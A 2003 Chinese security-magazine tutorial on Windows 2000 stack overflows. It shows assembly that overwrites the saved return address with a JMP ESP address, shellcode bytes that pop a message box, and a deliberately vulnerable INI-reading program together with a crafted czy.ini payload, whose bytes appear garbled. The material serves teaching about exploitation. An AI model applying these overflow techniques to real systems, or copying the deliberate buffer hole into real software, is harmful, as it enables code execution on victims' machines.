首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第43期->技术专题
期刊号: 类型: 关键词:
win2000中通过JMP ESP来执行shellcode

作者:czy <czy82@elong.com>
主页:http://www.nsfocus.com
日期:2003-08-06

Win2k溢出3(2k中通过JMP ESP来执行shellcode)
                                 czy82 03.07.29
    通过覆盖EIP,把EIP值改为自已的shellcode的起始地址是很多人都
想得到的办法,没别的办法了吗?我们再看看下面的代码:

1 call    00404000(等于执行push eip,jmp 00404000)
2 mov    ecx,eax (假设这个地址是00401030)

3 push    ebp     (假设这段代码的地址是00404000)
4 mov    ebp,esp
5 sub    esp,08
6 mov    dword ptr[ebp-08],00000041
7 mov    dword ptr[ebp-04],00000040
8 mov    dword ptr[ebp+00],00000042  ;把保存的老ebp改了
9 mov    dword ptr[ebp+04],77E33F4D  ;嘿嘿把eip改成77E33F4D了.这个值可不是随便写的哟.
  mov.............SHELLCODE!
0 mov    esp,ebp
pop    ebp
  ret

设ebp为12fff0
执行完call 00404000后esp为12ffc0这时栈的情况如下:

|      |低地址  Win2k溢出4(JMP ESP执行shellcode的测试代码)
    JMP ESP的机器码是FF E4,如何在内存找这个东东softice中s 10:0 L ffffffff ff e4
就可以了.


--------------------------shellcode.asm------------------
.386
.model flat,stdcall
option casemap:none

include        ../include/user32.inc
includelib    ../lib/user32.lib
include        ../include/kernel32.inc
includelib    ../lib/kernel32.lib


.data
szcaption    db 'hello',0
sztext1        db 'one',0
shellcode     db    106,01,  \        ;push 01
            104,06,48,64,00,\;push 00403006      
                104,00,48,64,00,\;push 00403000
            106,00,\      ;push 00
            232,145,61,207,119,\ ;call 77E23D68 = call MessageBoxA
            232,223,176,212,119,0;call 77E7B0BB = call ExitProcess
.code

testov    proc
    PUSH    EBP       ;把以前的栈顶的地址保留到堆栈中
    MOV     EBP,ESP   ;把当前的ESP给EBP
    SUB     ESP,08H   ;ESP的值减了8个
    MOV     DWORD PTR [EBP-08],40h ;A
    MOV     DWORD PTR [EBP-04],41h ;B
    ;---------
    mov    dword ptr [ebp+00],42h ;溢出了,保存的老EBP被覆盖
    mov    dword ptr [ebp+04],77F8948Bh;本来是老的eip的,现在成了jmp esp这个代码在内存中的地址
    ;---------下面是把shellcode一个字节一个字节的拷到溢出区
    xor    ecx,ecx
    mov    ecx,25
    mov    esi,offset shellcode  ;源串
    mov    edi,ebp              
    add    edi,08                ;目的串
    rep    movsb
        ;---------
    MOV     ESP,EBP   ;重新把ESP值指向原来的地址
    POP     EBP       ;弹出EBP,但是由于ESP把向它,所以两个变量也就清空了
    RET               ;等同于POP EIP(把栈顶的值赋给EIP)
testov    endp
    
start:
    push    1
    push    offset    sztext1
    push    offset    szcaption
    push    0
    call    MessageBoxA    ;用softice下断点        
    call    testov    
    call    ExitProcess    
end start

------------------end----------------------

Win2k溢出5(WIN2000本地溢出实例)
              czy 于03.07.30
    写了半天的溢出,有人已经在论坛上骂我了.看来不搞点实际
的东东不行啊.下面的程序简单了吧.什么算在一起也只有20多行.
这个程序的使用了一个叫作GetPrivateProfileString 的API函数
它可以读取特定格式的INI文件.下面先看看它的参数说明:

GetPrivateProfileString - 从 ini 文件的某个 Section 取得一个 key 的字符串,它的原型是:

GetPrivateProfileString(
LPCTSTR lpAppName, // 指向包含 Section 名称的字符串地址
LPCTSTR lpKeyName, // 指向包含 Key 名称的字符串地址
LPCTSTR lpDefault, // 如果 Key 值没有找到,则返回缺省的字符串的地址
LPTSTR lpReturnedString, // 返回字符串的缓冲区地址
DWORD nSize // 缓冲区的长度
LPCTSTR lpFileName // ini 文件的文件名
);

对于INI文件的格式我也介绍一下
------test.ini----
[aaa]
bbb=ccc
------end---------

其中的aaa就叫Section,bbb叫key,ccc就是值了.
我的程序就是读当前目录下czy.ini中iam字段,名字叫czy的键的值.
然后弹个对话框显示出来.

   问题是:如果nSize比lpReturnedString定义的长度大的话溢出就发生了,如果
lpReturnedString是一个本地变量(在c语言中都叫局部变量),那么我们就可以在
键值中精心构造shellcode并能够执行它!

-----------------------------shellcode4.asm----------------
.386
.model flat,stdcall
option casemap:none
include        ../include/user32.inc
includelib    ../lib/user32.lib
include        ../include/kernel32.inc
includelib    ../lib/kernel32.lib

.data
hello        db '利用一个读INI文件的API来演示WIN2000本地溢出',0
lpFileName    db '.\czy.ini',0            
lpAppName    db 'iam',0
lpKeyName    db 'czy',0            
lpDefault    db ':-}',0

.code

testov    proc
    local   lpReturnedString : byte    ;返回的字串搞成本地变量这样就和C语言一样了,它是在栈中    
    invoke    GetPrivateProfileString,offset    lpAppName,offset lpKeyName,offset lpDefault,ADDR lpReturnedString,38,offset lpFileName    
    invoke    MessageBoxA,0,ADDR lpReturnedString,ADDR lpReturnedString,1
    ret
testov    endp
    
start:
    invoke    MessageBoxA,0,offset hello,offset hello,1   ;下断点
    call    testov    
end start



-----------------------------czy.ini----------------

[iam]
czy=abcde嫈鴚j 褐
版权所有,未经许可,不得转载